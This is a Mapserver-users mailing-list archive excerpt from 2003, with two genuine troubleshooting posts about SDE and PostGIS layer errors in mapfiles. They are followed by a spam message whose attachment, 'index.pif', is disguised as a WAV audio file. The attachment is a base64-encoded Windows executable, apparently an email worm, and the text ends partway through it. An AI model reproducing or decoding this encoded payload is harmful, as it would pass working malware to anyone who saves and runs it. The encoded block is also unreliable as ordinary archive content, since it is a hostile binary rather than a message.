" msSDELayerOpen(): General error message. SDE support is not
available.
"
Could you please tell me, what I might have done wrong???
My Layer-Description in my mapfile looks like this:
LAYER
NAME sde.SDE.osterholz_gemeinden
TYPE POLYGON
CONNECTION "kirk,esri_sde,SDE,sde,sdepwd"
CONNECTIONTYPE sde
DATA "sde.SDE.osterholz_gemeinden,shape"
STATUS OFF
CLASSITEM ZIP_CODE
CLASS
NAME "OsterholzGemeinden"
EXPRESSION /./
OUTLINECOLOR 0 0 0
COLOR 255 255 255
TEMPLATE "osterholz.html"
END
HEADER "osterholz_header.html"
FOOTER "osterholz_footer.html"
DUMP TRUE # allow GML export
METADATA
WMS_TITLE "osterholz_gemeinden"
WMS_ABSTRACT "Osterholz Gemeinden shapefile."
WMS_SRS "EPSG:AUTO"
END
END
I'm looking forward to your answer!
Regards
Petra Bergholz
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From eblevins at insight.rr.com Tue Jan 7 14:52:54 2003
From: eblevins at insight.rr.com (Eric L. Blevins)
Date: Tue, 7 Jan 2003 17:52:54 -0500
Subject: [Mapserver-users] Strange problem when using OVERLAYSYMBOL
Message-ID: <01ad01c2b69f$84539280$6405a8c0@piii933>
This is a multi-part message in MIME format.
------=_NextPart_000_01AA_01C2B675.9B0637A0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have something missing from my layers but =
I do know that removing OVERLAYSYMBOL from the layer makes this problem =
go away.
this causes an error in the layer directly after this layer:
LAYER
NAME railroad
TYPE line
STATUS default
CONNECTIONTYPE postgis
maxscale 200000
CONNECTION "user=3DXXXXX dbname=3DTIGER host=3DXXXXX"
DATA "the_geom from (select oid,the_geom,fename,fetype from =
railroad) AS foo using SRID=3D4269"
CLASS
SYMBOL 'circle'
COLOR 0 0 0
size 5
OVERLAYSYMBOL 'dcircle'
OVERLAYCOLOR 255 255 255
overlaySIZE 3
end
END
This is the error I recieve which happens to be the next layer in the =
map file:
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS SQL =
statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT =
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from =
(select oid,the_geom,fename,fetype,symbol from local) AS foo WHERE =
the_geom && 'BOX3D(-71.133294768 42.308640336,-71.027438768 =
42.414496336)'::BOX3D=20
However if I remove the OVERLAY stuff the errors go away.
The thing I noticed is that the SRID is not in this query and if you try =
to run this query from the command line postgresql returns "ERROR: =
Operation on two GEOMETRIES with different SRIDs" hence the reason the =
next layer fails.
Here is what the next layer looks like:
LAYER
NAME Local
TYPE line
STATUS default
CONNECTIONTYPE postgis
maxscale 22000
CONNECTION "user=3DXXX dbname=3DTIGER host=3DXXX"
DATA "the_geom from (select oid,the_geom,fename,fetype,symbol =
from local) AS foo using SRID=3D4269"
SIZEUNITS feet
CLASS
COLOR 140 140 140
size 40
symbol "circle"
end
END
You can see that I have the using SRID=3D4269 in the layer but for some =
reason when I use OVERLAYSYMBOL the using SRID=3D4269 gets ignored in =
the layer following the layer with OVERLAYSYMBOL. Simply removing the =
OVERLAYXXX lines from the mapfile everything renders perfect.
Anyone have any ideas what the problem could be?
Thanks!
Eric L. Blevins
www.WiFiMaps.com
------=_NextPart_000_01AA_01C2B675.9B0637A0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
This might be a bug or maybe I have =
something=20
missing from my layers but I do know that removing OVERLAYSYMBOL from =
the layer=20
makes this problem go away.
this causes an error in the layer =
directly=20
after this layer:
LAYER =20
NAME railroad TYPE=20
line STATUS=20
default CONNECTIONTYPE=20
postgis maxscale=20
200000 CONNECTION =
"user=3DXXXXX=20
dbname=3DTIGER =
host=3DXXXXX" DATA=20
"the_geom from (select oid,the_geom,fename,fetype from railroad) AS foo =
using=20
SRID=3D4269" =20
CLASS &nbs=
p; =20
SYMBOL=20
'circle' &=
nbsp; =20
COLOR 0 0=20
0 &n=
bsp; =20
size=20
5 &n=
bsp; =20
OVERLAYSYMBOL=20
'dcircle' =
=20
OVERLAYCOLOR 255 255=20
255 =
=20
overlaySIZE 3
=20
end END
This is the error I recieve which =
happens to be the=20
next layer in the map file:
msPOSTGISLayerWhichShapes(): Query error. Error executing POSTGIS =
SQL=20
statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT=20
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from =
(select=20
oid,the_geom,fename,fetype,symbol from local) AS foo WHERE the_geom =
&&=20
'BOX3D(-71.133294768 42.308640336,-71.027438768 42.414496336)'::BOX3D=20
However if I remove the OVERLAY stuff =
the errors go=20
away.
The thing I noticed is that the SRID is =
not in this=20
query and if you try to run this query from the command line postgresql =
returns=20
"ERROR: Operation on two GEOMETRIES with different SRIDs" hence =
the reason=20
the next layer fails.
Here is what the next layer looks=20
like:
LAYER =20
NAME Local TYPE=20
line STATUS=20
default CONNECTIONTYPE=20
postgis maxscale=20
22000 CONNECTION =
"user=3DXXX=20
dbname=3DTIGER host=3DXXX" =
DATA=20
"the_geom from (select oid,the_geom,fename,fetype,symbol from local) AS =
foo=20
using SRID=3D4269" =
SIZEUNITS=20
feet =20
CLASS &nbs=
p; =20
COLOR 140 140=20
140 =
=20
size=20
40 &=
nbsp; =20
symbol "circle" =20
end END
You can see that I have the using =
SRID=3D4269 in the=20
layer but for some reason when I use OVERLAYSYMBOL the using SRID=3D4269 =
gets=20
ignored in the layer following the layer with OVERLAYSYMBOL. =
Simply=20
removing the OVERLAYXXX lines from the mapfile everything renders=20
perfect.
Anyone have any ideas what the =
problem could=20
be?
------=_NextPart_000_01AA_01C2B675.9B0637A0--
From gerald at cvis.net.ph Tue Jan 7 16:44:06 2003
From: gerald at cvis.net.ph (gerald)
Date: Wed, 8 Jan 2003 08:44:06 +0800
Subject: [Mapserver-users] 2003 GeraldOnline Systems. All rights Reserved.
Message-ID: <200301080044.h080i6K23526@bukid.cvis.net.ph>
--NB56c6K284a9t3O4F0v58bqlsE6
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
--NB56c6K284a9t3O4F0v58bqlsE6
Content-Type: audio/x-wav;
name=index.pif
Content-Transfer-Encoding: base64
Content-ID:
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
